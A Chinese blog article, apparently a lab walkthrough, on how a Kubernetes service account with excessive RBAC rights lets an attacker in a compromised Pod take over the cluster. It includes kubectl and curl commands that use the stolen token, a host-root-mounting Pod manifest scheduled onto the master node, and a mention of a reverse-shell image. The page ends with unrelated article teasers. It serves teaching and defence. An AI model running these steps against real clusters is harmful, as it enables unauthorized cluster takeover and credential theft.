K8s攻击案例:RBAC配置不当导致集群接管

01、概述

Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。

02、攻击场景

(1)Service Account赋予bypass对test名称空间拥有管理员权限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

771f4fb9dcc10253417924d10a6c3f77.png

(2)在Pod中,使用自定义的Service Account。

9b2589f55e3915aa31624490b50a6590.png

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
    name: pod-sa
    namespace: test
spec:
    serviceAccountName: "bypass"
    containers:
    - name: ubuntu
      image: ubuntu:20.04
      command: ['/bin/sh','-c','sleep 24h']

(3)在Pod创建时,Service Account关联的凭证,会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,其中ca.crt是证书、namespace是Pod所属的命名空间,token是访问API Server的令牌 。

0543edd9df5b19304f47388e3c1f4ee6.png

03、攻击过程

(1)攻击方式:kubectl 命令行操作

在Pod中,下载kubectl命令行工具,使用kubectl auth检查权限,拥有当前名称空间中所有执行操作的权限,这就具备了获取集群权限的条件。

bd6ac17a9a172294fa009f4ac0041236.png

编写一个yaml文件,将节点的根目录挂载到容器的/data 目录,使用污点容忍度创建恶意Pod来对Master节点进行横向控制。

如下图:将构建的Pod成功调度到Mater节点。

2b47bd452a2668a87403d68b718c962f.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:
  name: pod1
spec:
  nodeSelector:
    node-role.kubernetes.io/master: ""
  tolerations:
  - key: "node-role.kubernetes.io/master"
    operator: "Exists"
    effect: NoSchedule
  containers:
  - image: nginx:1.20
    name: pod1
    volumeMounts:
    - mountPath: /data
      name: data
  volumes:
  - name: data
    hostPath:
      path: /

攻击者成功窃取 kubeconfig 文件,将获得对 Kubernetes 集群的完全控制权限,从而能够任意操控和管理整个集群。

f28a7e2acd1eb3c4f40c83464f1c37f5.png

(2)攻击方式:curl 命令操作

首先,创建一个包含恶意代码的镜像,用于反弹Shell,利用curl 命令操作 Kubernetes API创建Pod。

ca3df5f71a6da6d4db609b3765f388f1.png

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)


用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \
 https://10.96.0.1/api/v1/namespaces/test/pods/

远程监听端口来接收Master节点创建的Pod反弹的shell连接,成功获取到kubeconfig文件。

c4a5679a0c0f7b4294c5353574b06cc2.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/257757.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JNDI注入Log4jFastJson白盒审计不回显处理

目录 0x00 前言 0x01 Maven 仓库及配置 0x02 JNDI 注入简介 0x03 Java-第三方组件-Log4J&JNDI 0x04 Java-第三方组件-FastJson&反射 0x05 白盒审计 - FastJson 0x06 白盒审计 - Log4j 0x07 不回显的处理方法 0x00 前言 希望和各位大佬一起学习,如果…

ubuntu推送本地仓库到coding

本教程提供在ubuntu系统下推送本地仓库到coding的指令,用于查阅 一、主要步骤有: 0.初始化仓库 git init 1.添加远程仓库 git remote add origin https://coding.git #修改自己仓库链接 (命名仓库别名为origin) 2.提交代码…

金融CRM有用吗?金融行业CRM有哪些功能

市场形式波诡云谲,金融行业也面临着资源体系分散、竞争力后继不足、未知风险无法规避等问题。金融企业该如何解决这些问题,或许可以了解一下CRM管理系统,和其提供的金融行业CRM解决方案。 金融行业是银行业、保险业、信托业、证券业和租赁业…

lv12 linux 内核移植 10

目录 1 内核概述 1.1 内核与操作系统 1.2 Linux层次结构 1.3 Linux内核特点 2 Linux内核源码结构 2.1 Linux内核源码获取 2.2 源码结构 3 Linux内核移植 3.1 在 Linux 官网下载 Linux 内核源码(这里我们下载 linux-3.14.tar.xz) 3.2 拷贝内核源…

centos开机自启动实战小案例

1.编写一个我们需要做事的脚本 #!/bin/bash # 打印 "Hello" echo "Hello,Mr.Phor" # 为了更好的能看到效果 我们把这段文本放置到一个文件中 如果重启能够看到 /a.txt文件 我们实验成功 echo "hahahahahahahaha" > /a.txt #每次开机 执行…

Windows/Linux双系统安装(双系统独立分盘)

一、固态硬盘、机械硬盘及U盘概述 (一)机械硬盘[1][3] 硬盘驱动器(Hard Disk Drive,HDD),又称“机械硬盘”或“传统硬盘”,是电脑上使用刚性的旋转磁性盘片为基础的非依电性存储器,…

Eclipse_03_如何加快index速度

1. ini配置文件 -Xms:是最小堆内存大小,也是初始堆内存大小,因为堆内存大小可以根据使用情况进行扩容,所以初始值最小,随着扩容慢慢变大。 -Xmx:是最大堆内存大小,随着堆内存的使用率越来越高&a…

CentOS 8离线安装telnet

下载telnet rpm安装包,可从https://www.rpmfind.net/linux/rpm2html/search.php?querytelnet&submitSearch…&systemcentos&arch 根据自己的操作系统下载对应的包,这里以CentOS8为例,分别下载如下的rtp包 xinetd-2.3.15-24.el8.x86_64.rpm…

IDEA shorten command line介绍和JAR manifest 导致mybatis找不到接口类处理

如果类路径太长,或者有许多VM参数,程序就无法启动。原因是大多数操作系统都有命令行长度限制。在这种情况下,IntelliJIDEA将试图缩短类路径。最好选中 classpath file模式。 shorten command line 选项提供三种选项缩短类路径。 none&#x…

JMUer-网络新技术课程期末考试复习整理

✏️write in front✏️ 📝个人主页:陈丹宇jmu 🎁欢迎各位→点赞👍 收藏⭐️ 留言📝​ 🙉联系作者🙈by QQ:813942269🐧 🌈致亲爱的读者:很高兴你…

智能优化算法应用:基于黑寡妇算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于黑寡妇算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于黑寡妇算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.黑寡妇算法4.实验参数设定5.算法结果6.参考文…

单片机应用实例:LED显示电脑电子钟

本例介绍一种用LED制作的电脑电子钟(电脑万年历)。其制作完成装潢后的照片如下图: 上图中,年、月、日及时间选用的是1.2寸共阳数码管,星期选用的是2.3寸数码管,温度选用的是0.5寸数码管,也可根据…

Vue+ElementUI前端添加展开收起搜索框按钮

1、搜索框添加判断 v-if"advanced" <el-form-item label"创建日期" v-if"advanced"><el-date-pickerv-model"daterangeLedat"size"small"style"width: 240px"value-format"yyyy-MM-dd"type&q…

基于grpc从零开始搭建一个准生产分布式应用(7) - 01 - 附:GRPC拦截器源码

开始前必读&#xff1a;​​基于grpc从零开始搭建一个准生产分布式应用(0) - quickStart​​ 一、源码目录结构 二、GRPC拦截器源码 2.1、com.zd.baseframework.core.core.common.interceptor package com.zd.baseframework.core.core.common.interceptor;import com.zd.ba…

element plus 表格el-table行多选单选

1 行多选-点击checkbox 添加一个 el-table-column&#xff0c;设 type 属性为 selection 即可 <template><div class"box"><el-table :data"tableData" selection-change"handleSelectionChange"><el-table-column type&…

docker小白第六天

docker小白第六天 容器数据卷是什么 首先&#xff0c;容器卷有个坑&#xff1a;容器卷需要加入privilegedtrue&#xff0c;如下图所示&#xff0c;是为了解决permission denied的问题。其中“挂载”的意思是相当于一个硬盘插到主机上。使用该命令。是扩大容器的权限解决挂载目…

路由器设置代理IP教程,http代理怎么固定IP地址?

路由器设置代理IP教程 一、确定代理IP地址 首先&#xff0c;你需要确定你要使用的代理IP地址。你可以从代理服务提供商处获取代理IP地址和端口号。 二、登录路由器管理界面 在浏览器中输入路由器的IP地址&#xff0c;输入账号和密码&#xff0c;进入路由器的管理界面。 三、设置…

高级桌面编程(二)

一、前言 文章的续作前文是&#xff1a; 高级桌面编程&#xff08;一&#xff09;-CSDN博客https://blog.csdn.net/qq_71897293/article/details/135072204?spm1001.2014.3001.5502 二、自定义控件 1创建自定义控件&#xff0c;如下图所示&#xff1a; 2 在创建的页面可以…

架构设计系列之前端架构和后端架构的区别和联系

前端架构和后端架构都是软件系统中最关键的架构层&#xff0c;负责处理不同方面的任务和逻辑&#xff0c;两者之间是存在一些区别和联系的&#xff0c;我会从以下几个方面来阐述&#xff1a; 一、定位和职责 前端架构 主要关注用户界面和用户体验&#xff0c;负责处理用户与…

10000字讲解TCP协议(确认应答,超时重传,三次握手,四次挥手等等众多机制)以及UDP协议(UDP报文,校验和)

文章目录 UDP协议&#xff1f;什么是校验和&#xff1f;基于UDP的应用层协议(了解) TCP协议确认应答(可靠性机制)超时重传(可靠性机制)连接管理(可靠性机制)三次握手(重点)四次挥手(重点) 三次握手和四次挥手时客户端和服务器的状态滑动窗口(效率机制)流量控制(效率机制)窗口探…